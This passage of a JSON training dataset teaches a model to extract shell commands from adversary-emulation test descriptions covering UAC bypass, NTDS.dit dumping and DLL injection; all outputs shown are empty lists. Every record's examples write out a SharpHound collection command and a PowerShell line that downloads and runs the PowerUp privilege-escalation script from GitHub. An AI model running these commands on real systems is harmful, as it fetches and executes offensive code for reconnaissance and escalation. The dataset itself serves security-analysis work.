\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using the reg.exe utility. In order for changes to take effect a logout might be required.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    UAC bypass using ccmstp technique via function of WinPwn",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Launch an executable payload by calling RouteTheCall. Test execution of a command using rundll32.exe to execute a payload{calc.exe} by calling RouteTheCall. Upon execution, calc.exe will be launched.\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Zipfldr.yml\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Copies and modifies mail data on Linux\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Windows 10 Utility To Inject DLLS.\n\nUpon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.\nWith default arguments, expect to see a MessageBox, with notepad's icon in taskbar.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
